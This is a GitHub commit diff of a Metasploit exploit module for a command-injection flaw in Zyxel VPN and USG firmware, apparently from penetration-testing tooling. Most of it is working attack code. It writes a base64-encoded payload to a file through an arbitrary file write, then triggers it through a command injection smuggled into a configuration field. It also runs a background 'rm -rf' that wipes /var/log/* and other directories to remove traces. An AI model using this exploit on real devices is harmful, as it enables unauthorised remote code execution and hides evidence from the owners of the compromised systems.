Skip to content

Commit

Permalink
Added WRITEABLE_DIR datastore option plus minor improvements
Browse files Browse the repository at this point in the history
  • Loading branch information
jheysel-r7 committed May 27, 2024
1 parent 576191b commit 92b2599
Showing 1 changed file with 18 additions and 23 deletions.
41 changes: 18 additions & 23 deletions modules/exploits/linux/http/zyxel_parse_config_rce.rb
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,8 @@ def initialize(info = {})
info,
'Name' => 'Zyxel parse_config.py Command Injection',
'Description' => %q(
This here module exploits Zyxel
This module exploits vulnerabilities in multiple Zyxel Products including VPN and USG devices (hopefully,
this is still in draft at the time of writing). The affected firmware version is 5.21 thru to 5.36.
),
'Author' =>
[
Expand All @@ -36,7 +37,7 @@ def initialize(info = {})
[ 'Automatic Target', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => '',
'DisclosureDate' => '2024-01-24',
'Notes' =>
{
'Stability' => [ CRASH_SAFE, ],
Expand All @@ -46,45 +47,40 @@ def initialize(info = {})
)
)

# register_options(
# [
#
# ],
# )
register_options(
[
OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]),
],
)
end

# def fingerprint_method1
#
# end
#
# def fingerprint_method2
#
# end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'ext-js', 'app', 'common', 'zld_product_spec.js'),
})
return CheckCode::Unknown if res.nil?
return CheckCode::Unknown('No response from /ext-js/app/common/zld_product_spec.js') if res.nil?

if res.code == 200 && res.body =~ /ZLDCONFIG_CLOUD_HELP_VERSION=(\w+)/
return CheckCode::Appears("Detected #{Regexp.last_match(1)}.") if Rex::Version.new(Regexp.last_match(1)) < Rex::Version.new('5.36')
CheckCode::Safe
return CheckCode::Safe
end
CheckCode::Unknown("Version info was not found.")
end

def exploit
# Command injection has a 0x14 byte length limit so keep the file name smol.
# The length limit is also why we leverage the arbitrary file write -> write our payload to the .qrs file then execute it with the command injection. #
# Command injection has a 0x14 byte length limit so keep the file name as small as possible.
# The length limit is also why we leverage the arbitrary file write -> write our payload to the .qrs file then execute it with the command injection.
filename = rand_text_alpha(1)
payload_filepath = "#{datastore['WRITABLE_DIR']}/#{filename}.qsr"

command = payload.encoded
command += <<-CMD
2>/var/log/ztplog 1>/var/log/ztplog
(sleep 10 && /bin/rm -rf /tmp/#{filename}.qsr /share/ztp/* /var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) &
(sleep 10 && /bin/rm -rf #{payload_filepath} /share/ztp/* /var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) &
CMD
command = "echo #{Rex::Text.encode_base64(command)} | base64 -d > /tmp/#{filename}.qsr ; . /tmp/#{filename}.qsr"
command = "echo #{Rex::Text.encode_base64(command)} | base64 -d > #{payload_filepath} ; . #{payload_filepath}"

file_write_pload = "option proto vti\n"
file_write_pload += "option #{command};exit\n"
Expand All @@ -100,12 +96,12 @@ def exploit
'data' => data.to_s,
})
fail_with(Failure::UnexpectedReply, 'The response from the target indicates the payload transfer was unsuccessful') if file_write_res && file_write_res.body.include?('ParseError: 0xC0DE0005')
register_files_for_cleanup("/tmp/#{filename}.qsr")
register_files_for_cleanup(payload_filepath)
print_good('File write was successful.')

cmd_injection_pload = "option proto gre\n"
cmd_injection_pload += "option name 0\n"
cmd_injection_pload += "option ipaddr ;. /tmp/#{filename}.qsr;\n"
cmd_injection_pload += "option ipaddr ;. #{payload_filepath};\n"
cmd_injection_pload += "option netmask 24\n"
cmd_injection_pload += "option gateway 0\n"
cmd_injection_pload += "option localip #{Faker::Internet.private_ip_v4_address}\n"
Expand All @@ -132,6 +128,5 @@ def exploit
output = output.gsub("\n\n<br>", "")
output = output.gsub("[IPC]IPC result: 1\n", "")
print_good("Command output: #{output}" )

end
end

0 comments on commit 92b2599

Please sign in to comment.